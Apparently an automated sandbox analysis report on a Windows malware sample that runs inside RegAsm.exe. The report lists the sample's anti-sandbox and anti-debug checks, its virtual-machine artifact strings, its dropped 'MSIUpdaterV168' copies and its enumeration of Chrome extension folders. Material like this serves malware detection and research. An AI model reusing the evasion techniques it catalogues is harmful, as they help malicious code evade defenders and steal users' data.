Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\1kbeqs7e3z.exe

Event Logs and Signature results: Application crash and keyboard check

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_3-97548

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_3-102839

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_3-97550

Found stalling execution ending in API Sleep call

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Stalling execution: Execution stalls by calling Sleep

graph_3-98437

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe, 0000002B.00000002.4148163051.0000000000415000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

3_2_0045DB00

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1851
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 8147

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_3-97609

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlt[1].dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_3-101787

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6792	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4476	Thread sleep count: 113 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4124	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4124	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7400	Thread sleep count: 1851 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7400	Thread sleep time: -12957000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7400	Thread sleep count: 8147 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7400	Thread sleep time: -57029000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7700	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 23_2_0041098E GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410AA1h

23_2_0041098E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_005449B0 GetSystemTime followed by cmp: cmp eax, 04h and CTI: jc 005449F1h

3_2_005449B0

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B52923 FindFirstFileExW,	0_2_00B52923
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_004C6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004E6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	3_2_004E6770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00493F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	3_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00431F9C FindClose,FindFirstFileExW,GetLastError,	3_2_00431F9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	3_2_00432022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_004938D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004DFF00 CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,	3_2_004DFF00
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00052923 FindFirstFileExW,	11_2_00052923
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A329D7 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	12_2_00A329D7
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00762933 FindFirstFileExW,	22_2_00762933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040D1BA FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_0040D1BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040A025 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_0040A025
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040A440 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_0040A440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040AAB4 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	23_2_0040AAB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_00401162 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	23_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040B4C3 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,FindNextFileA,FindClose,	23_2_0040B4C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040BFA5 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_0040BFA5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxyS
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: RegAsm.exe, 0000000E.00000002.1910899704.00000000014A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: RegAsm.exe, 0000002C.00000002.1946130070.00000000015FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\#disk&ven_vmware&prouask#4&1656f219&0&0000f5-b6bf-11d0-94f2-00a08b
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: RegAsm.exe, 0000000E.00000002.1911199753.0000000001517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: RegAsm.exe, 0000002C.00000002.1946130070.00000000015FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}{
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1875513113.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149119694.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149119694.0000000001164000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RegAsm.exe, 0000002B.00000002.4148709510.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware*
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: RegAsm.exe, 00000017.00000002.4149119694.0000000001164000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWR
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: RegAsm.exe, 0000002B.00000002.4148709510.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: RegAsm.exe, 00000003.00000002.1875513113.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWVY
Source: RegAsm.exe, 0000002C.00000002.1945728277.0000000001580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&D
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process queried: DebugPort
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe

Code function: 0_2_00B3C03D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00B3C03D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0045A102 CreateThread,FindCloseChangeNotification,Sleep,GetTempPathA,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,OutputDebugStringA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,Sleep,shutdown,closesocket,Sleep,

3_2_0045A102

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_004595B8

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B50C35 mov eax, dword ptr fs:[00000030h]	0_2_00B50C35
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B49650 mov ecx, dword ptr fs:[00000030h]	0_2_00B49650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045A102 mov eax, dword ptr fs:[00000030h]	3_2_0045A102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045A102 mov ecx, dword ptr fs:[00000030h]	3_2_0045A102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C86C0 mov eax, dword ptr fs:[00000030h]	3_2_004C86C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	3_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	3_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	3_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3070 mov ecx, dword ptr fs:[00000030h]	3_2_004D3070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004595B8 mov eax, dword ptr fs:[00000030h]	3_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004595B8 mov eax, dword ptr fs:[00000030h]	3_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004595B8 mov eax, dword ptr fs:[00000030h]	3_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004595B8 mov ecx, dword ptr fs:[00000030h]	3_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00495790 mov eax, dword ptr fs:[00000030h]	3_2_00495790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045DB00 mov eax, dword ptr fs:[00000030h]	3_2_0045DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045DB00 mov eax, dword ptr fs:[00000030h]	3_2_0045DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D6280 mov eax, dword ptr fs:[00000030h]	3_2_004D6280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CA502 mov eax, dword ptr fs:[00000030h]	3_2_004CA502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CA6B3 mov eax, dword ptr fs:[00000030h]	3_2_004CA6B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C8C58 mov eax, dword ptr fs:[00000030h]	3_2_004C8C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C6D80 mov eax, dword ptr fs:[00000030h]	3_2_004C6D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C8E09 mov eax, dword ptr fs:[00000030h]	3_2_004C8E09
